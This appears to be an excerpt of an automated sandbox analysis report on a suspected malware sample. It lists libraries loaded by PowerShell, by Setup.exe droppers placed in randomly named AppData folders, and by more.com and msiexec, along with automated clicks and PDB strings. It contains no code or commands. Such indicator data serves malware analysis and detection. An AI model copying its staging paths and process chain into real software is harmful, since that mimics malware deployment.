Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kdscli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FeGIPCnK\Setup.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FeGIPCnK\Setup.exe	Section loaded: acgenral.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FeGIPCnK\Setup.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FeGIPCnK\Setup.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FeGIPCnK\Setup.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FeGIPCnK\Setup.exe	Section loaded: msacm32.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FeGIPCnK\Setup.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FeGIPCnK\Setup.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FeGIPCnK\Setup.exe	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FeGIPCnK\Setup.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FeGIPCnK\Setup.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FeGIPCnK\Setup.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FeGIPCnK\Setup.exe	Section loaded: winmmbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FeGIPCnK\Setup.exe	Section loaded: winmmbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FeGIPCnK\Setup.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FeGIPCnK\Setup.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FeGIPCnK\Setup.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FeGIPCnK\Setup.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FeGIPCnK\Setup.exe	Section loaded: pla.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FeGIPCnK\Setup.exe	Section loaded: pdh.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FeGIPCnK\Setup.exe	Section loaded: tdh.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FeGIPCnK\Setup.exe	Section loaded: cabinet.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FeGIPCnK\Setup.exe	Section loaded: wevtapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FeGIPCnK\Setup.exe	Section loaded: shdocvw.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FeGIPCnK\Setup.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FeGIPCnK\Setup.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Driver\BLZFBFHKHWJ\Setup.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Driver\BLZFBFHKHWJ\Setup.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Driver\BLZFBFHKHWJ\Setup.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Driver\BLZFBFHKHWJ\Setup.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Driver\BLZFBFHKHWJ\Setup.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Driver\BLZFBFHKHWJ\Setup.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Driver\BLZFBFHKHWJ\Setup.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Driver\BLZFBFHKHWJ\Setup.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Driver\BLZFBFHKHWJ\Setup.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Driver\BLZFBFHKHWJ\Setup.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Driver\BLZFBFHKHWJ\Setup.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\more.com	Section loaded: ulib.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FeGIPCnK\Setup.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FeGIPCnK\Setup.exe	Section loaded: acgenral.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FeGIPCnK\Setup.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FeGIPCnK\Setup.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FeGIPCnK\Setup.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FeGIPCnK\Setup.exe	Section loaded: msacm32.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FeGIPCnK\Setup.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FeGIPCnK\Setup.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FeGIPCnK\Setup.exe	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FeGIPCnK\Setup.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FeGIPCnK\Setup.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FeGIPCnK\Setup.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FeGIPCnK\Setup.exe	Section loaded: winmmbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FeGIPCnK\Setup.exe	Section loaded: winmmbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FeGIPCnK\Setup.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FeGIPCnK\Setup.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FeGIPCnK\Setup.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FeGIPCnK\Setup.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FeGIPCnK\Setup.exe	Section loaded: pla.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FeGIPCnK\Setup.exe	Section loaded: pdh.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FeGIPCnK\Setup.exe	Section loaded: tdh.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FeGIPCnK\Setup.exe	Section loaded: cabinet.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FeGIPCnK\Setup.exe	Section loaded: wevtapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FeGIPCnK\Setup.exe	Section loaded: shdocvw.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FeGIPCnK\Setup.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FeGIPCnK\Setup.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Driver\BLZFBFHKHWJ\Setup.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Driver\BLZFBFHKHWJ\Setup.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Driver\BLZFBFHKHWJ\Setup.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Driver\BLZFBFHKHWJ\Setup.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Driver\BLZFBFHKHWJ\Setup.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Driver\BLZFBFHKHWJ\Setup.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Driver\BLZFBFHKHWJ\Setup.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Driver\BLZFBFHKHWJ\Setup.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Driver\BLZFBFHKHWJ\Setup.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Driver\BLZFBFHKHWJ\Setup.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Driver\BLZFBFHKHWJ\Setup.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\more.com	Section loaded: ulib.dll	Jump to behavior
Source: C:\Windows\SysWOW64\more.com	Section loaded: fsutilext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\more.com	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: aclayers.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: shdocvw.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FeGIPCnK\Setup.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FeGIPCnK\Setup.exe	Section loaded: acgenral.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FeGIPCnK\Setup.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FeGIPCnK\Setup.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FeGIPCnK\Setup.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FeGIPCnK\Setup.exe	Section loaded: msacm32.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FeGIPCnK\Setup.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FeGIPCnK\Setup.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FeGIPCnK\Setup.exe	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FeGIPCnK\Setup.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FeGIPCnK\Setup.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FeGIPCnK\Setup.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FeGIPCnK\Setup.exe	Section loaded: winmmbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FeGIPCnK\Setup.exe	Section loaded: winmmbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FeGIPCnK\Setup.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FeGIPCnK\Setup.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FeGIPCnK\Setup.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FeGIPCnK\Setup.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FeGIPCnK\Setup.exe	Section loaded: pla.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FeGIPCnK\Setup.exe	Section loaded: pdh.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FeGIPCnK\Setup.exe	Section loaded: tdh.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FeGIPCnK\Setup.exe	Section loaded: cabinet.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FeGIPCnK\Setup.exe	Section loaded: wevtapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FeGIPCnK\Setup.exe	Section loaded: shdocvw.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior

Source: C:\Users\user\AppData\Roaming\Driver\BLZFBFHKHWJ\Setup.exe	Automated click: OK
Source: C:\Users\user\AppData\Roaming\Driver\BLZFBFHKHWJ\Setup.exe	Automated click: OK
Source: C:\Users\user\AppData\Roaming\Driver\BLZFBFHKHWJ\Setup.exe	Automated click: OK
Source: C:\Users\user\AppData\Roaming\Driver\BLZFBFHKHWJ\Setup.exe	Automated click: OK
Source: C:\Users\user\AppData\Roaming\Driver\BLZFBFHKHWJ\Setup.exe	Automated click: OK
Source: C:\Users\user\AppData\Roaming\Driver\BLZFBFHKHWJ\Setup.exe	Automated click: OK

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Users\user\AppData\Roaming\FeGIPCnK\msvcr90.dll

Jump to behavior

Source:	Binary string: C:\Users\Mark\code\github\NAudio\NAudio\obj\Release\net35\NAudio.pdb source: powershell.exe, 00000003.00000002.2920203144.000001EE236F4000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\jenkins\workspace\dev\juno-win_live\build\cefSubProcess\pc64-vc-tool-opt\bin\EACefSubProcess.pdb source: Updater.ex.3.dr
Source:	Binary string: wntdll.pdbUGP source: Setup.exe, 00000006.00000002.2970388187.0000000003110000.00000004.00000800.00020000.00000000.sdmp, Setup.exe, 00000006.00000002.2971296166.00000000034C9000.00000004.00000001.00020000.00000000.sdmp, Setup.exe, 00000006.00000002.2970257137.0000000002DBC000.00000004.00000020.00020000.00000000.sdmp, Setup.exe, 0000000A.00000002.3175900887.0000000003660000.00000004.00000001.00020000.00000000.sdmp, Setup.exe, 0000000A.00000002.3175553724.0000000002F5A000.00000004.00000020.00020000.00000000.sdmp, Setup.exe, 0000000A.00000002.3175702033.00000000032B0000.00000004.00000800.00020000.00000000.sdmp, more.com, 0000000C.00000002.3332789986.0000000004216000.00000004.00000020.00020000.00000000.sdmp, more.com, 0000000C.00000002.3333182745.00000000046D0000.00000004.00001000.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000002.3737364278.00000000040AB000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000002.3737703212.0000000004560000.00000004.00001000.00020000.00000000.sdmp, Setup.exe, 0000000F.00000002.3352533865.0000000002D37000.00000004.00000020.00020000.00000000.sdmp, Setup.exe, 0000000F.00000002.3352681787.0000000003090000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: Setup.exe, 00000006.00000002.2970388187.0000000003110000.00000004.00000800.00020000.00000000.sdmp, Setup.exe, 00000006.00000002.2971296166.00000000034C9000.00000004.00000001.00020000.00000000.sdmp, Setup.exe, 00000006.00000002.2970257137.0000000002DBC000.00000004.00000020.00020000.00000000.sdmp, Setup.exe, 0000000A.00000002.3175900887.0000000003660000.00000004.00000001.00020000.00000000.sdmp, Setup.exe, 0000000A.00000002.3175553724.0000000002F5A000.00000004.00000020.00020000.00000000.sdmp, Setup.exe, 0000000A.00000002.3175702033.00000000032B0000.00000004.00000800.00020000.00000000.sdmp, more.com, 0000000C.00000002.3332789986.0000000004216000.00000004.00000020.00020000.00000000.sdmp, more.com, 0000000C.00000002.3333182745.00000000046D0000.00000004.00001000.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000002.3737364278.00000000040AB000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000002.3737703212.0000000004560000.00000004.00001000.00020000.00000000.sdmp, Setup.exe, 0000000F.00000002.3352533865.0000000002D37000.00000004.00000020.00020000.00000000.sdmp, Setup.exe, 0000000F.00000002.3352681787.0000000003090000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\Users\Mark\code\github\NAudio\NAudio\obj\Release\net35\NAudio.pdbSHA256do source: powershell.exe, 00000003.00000002.2920203144.000001EE236F4000.00000004.00000800.00020000.00000000.sdmp
